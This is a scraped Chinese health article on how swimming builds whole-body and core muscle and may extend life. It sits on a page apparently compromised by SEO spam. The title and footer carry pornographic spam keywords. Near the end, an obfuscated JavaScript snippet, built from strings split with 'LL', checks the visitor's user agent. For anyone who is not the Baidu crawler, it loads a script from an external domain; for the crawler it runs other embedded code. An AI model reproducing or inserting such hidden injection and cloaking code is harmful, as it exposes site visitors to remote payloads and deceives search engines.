久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

游泳鍛煉的肌肉嘛

2017-04-17 09:02:54  來源:360常識網(wǎng)   熱度:
導語:游泳是一項很古老的運動,通過這項古老的運動改善身材是最好不過了。有一身肌肉是多么驕傲的事情,是喜愛運動的標志呢。一身肌肉的男人有毅

游泳是一項很古老的運動,通過這項古老的運動改善身材是最好不過了。有一身肌肉是多么驕傲的事情,是喜愛運動的標志呢。一身肌肉的男人有毅力,那是多久的堅持才有那么好的身材,要佩服他們的毅力,然后自己也趕快去鍛煉,不想多年之后身材走樣現(xiàn)在就不能偷懶,身材不是女人才講究,男人也要講究。

1最新科學表明,游泳可能還是防止衰老和抵御早期死亡的一種好方法。幾千年來,不同宗教信仰的人們把練習浸入水中作為通往永生的道路。正如研究人員和專業(yè)訓練者開始表現(xiàn)的,游泳雖不能帶來永生,但卻是項長壽運動。

2增長肌肉

很少有什么運動能比游泳增加更多的肌肉,這里指的是全身的肌肉。“它使你能很好地進行全身鍛煉,”梅爾·格得斯坦說,他是一位杰出的游泳教練,其獨特的游泳塑身計劃已經(jīng)在全美成為了一種健康塑身的新模式。他解釋說,游泳中劃水的動作不僅僅涉及你的胳膊和肩部,還涉及你的上背部和胸,這個動作的完成需要這些部位肌肉進行大范圍的運動。同時,踢水的動作能增強你腿部、臀部和腹股溝的肌肉。

3、不過,雖然上下肢可能是你明顯的推動裝置,但是如果沒有中間部位肌肉的幫助,比如,你的腹肌,腹外斜肌和下背部,上下肢也不能將你推到很遠。近年來,科學家已經(jīng)了解到,核心力量和軀干旋轉(zhuǎn)所產(chǎn)生的力是一個游泳運動員在水中力量的關鍵。

4我們現(xiàn)在知道,在水中平行于水面游泳,就像試圖把高爾夫球與你的手臂一同打出去。很少有哪項體育運動像游泳一樣鍛煉人的核心區(qū)肌肉群。 除了讓你的身材看起來更有型,游泳也影響著你肌肉功能的微觀層面,即一個由不同類型的復雜肌纖維組成的層面。

想要增長肌肉就不能偷懶什么運動都要嘗試,而不是只做一種運動。游泳不僅僅能增長肌肉還能延長我們的壽命,很多的人喜歡游泳但是游泳也需要看身體情況,有心臟病的患者游泳需謹慎。每一種游泳的姿勢都能鍛煉到肌肉的位置,可以每一種游泳的方式都嘗試。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 一区二区三区欧美在线 | 黄av在线 | 伊人青青久 | 日韩一区在线视频 | 亚洲国产成人精品久久 | 免费观看黄色一级大片 | a级毛片基地 | 日韩一区二区三区在线观看 | 九九热在线视频观看这里只有精品 | 免费黄色在线 | 日本免费成人 | 国产视频精品视频 | 久久久国产精品入口麻豆 | 成人国产精品免费观看 | 秋霞影院午夜丰满少妇在线视频 | 国产成人精品午夜在线播放 | 国产精品久久久久桃色tv | 日韩有码一区二区三区 | 亚洲精品日韩综合观看成人91 | 9191视频 | 亚洲国产精品va在线看黑人 | 成人午夜视频在线观看 | 99久久免费精品国产男女性高好 | 精品国产一区二区在线 | 日韩一级在线免费观看 | 综合久久综合 | 伊人小视频 | 天天做天天爱天天综合网2021 | 日本污视频在线观看 | 四虎最新紧急入口 | 久久久99精品免费观看 | 国产欧精精久久久久久久 | 日韩99 | 中文字幕爱爱视频 | 久久99精品久久久 | 天天av网 | 欧美日本国产 | 黄色成人av网站 | a毛片| 日韩欧美一区二区三区久久婷婷 | 久久久.com|